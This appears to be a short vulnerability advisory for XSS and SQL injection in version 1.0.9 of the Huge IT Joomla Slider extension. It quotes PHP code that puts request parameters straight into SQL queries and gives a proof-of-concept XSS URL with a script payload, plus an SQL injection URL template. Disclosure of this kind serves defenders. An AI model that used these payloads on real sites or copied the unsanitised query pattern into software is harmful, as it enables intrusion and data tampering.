Title:XSS and SQLi in Huge IT Joomla Slider v1.0.9 extension
The attacker must be logged in with at least manager level access or access to the administrative panel to exploit this vulnerability.

XSS in ./admin/views/slider/tmpl/default.php via id variable:
275:                    

SQL Injection in the following sections of code:

in file ./admin/models/slider.php
53:        $id_cat = JRequest::getVar('id');
54-        $query = $db->getQuery(true);
55-        $query->select('#__huge_itslider_images.name as name,'
56-                . '#__huge_itslider_images.id ,'
57-                . '#__huge_itslider_sliders.name as portName,'
58-                . 'slider_id, #__huge_itslider_images.description as description,image_url,sl_url,sl_type,link_target,#__huge_itslider_images.ordering,#__huge_itslider_images.published,published_in_sl_width');
--
69:        $id_cat = JRequest::getVar('id');
70-        $query = $db->getQuery(true);
71-        $query->select('*');
72-        $query->from('#__huge_itslider_images');
73-        $query->where('slider_id=' . $id_cat);
74-        $db->setQuery($query);
--
117:        $id_cat = JRequest::getVar('id');
118-
119-        $query = $db->getQuery(true);
120-        $query->update('#__huge_itslider_sliders')->set('name ="' . $name . '"')
121-                ->set('sl_height="' . $sl_height . '"')->set('slider_list_effects_s="' . $slider_effects_list . '"')
122-                ->set('pause_on_hover="' . $pause_on_hover . '"')
--
133:        $id_cat = JRequest::getVar('id');
134-        $query = $db->getQuery(true);
135-        $query->update('#__huge_itslider_sliders')->set('slider_list_effects_s ="' . $styleName . '"')->where('id="' . $id_cat . '"');
136-        $db->setQuery($query);
137-        $db->execute();
138-    }
--
182:        $id_cat = JRequest::getVar('removeslide');
183:        $id = JRequest::getVar('id');
184-        $db = JFactory::getDBO();
185-        $query = $db->getQuery(true);
186-        $query->delete('#__huge_itslider_images')->where('id =' . $id_cat);
187-        $db->setQuery($query);
188-        $db->execute();XSS:

http://192.168.0.125/administrator/index.php?option=com_slider&view=slider&id=1%20--%20%22%3E%3Cscript%3Ealert(1);%3C/script%3E

SQLi:

http://192.168.0.125/administrator/index.php?option=com_slider&view=slider&id=HERE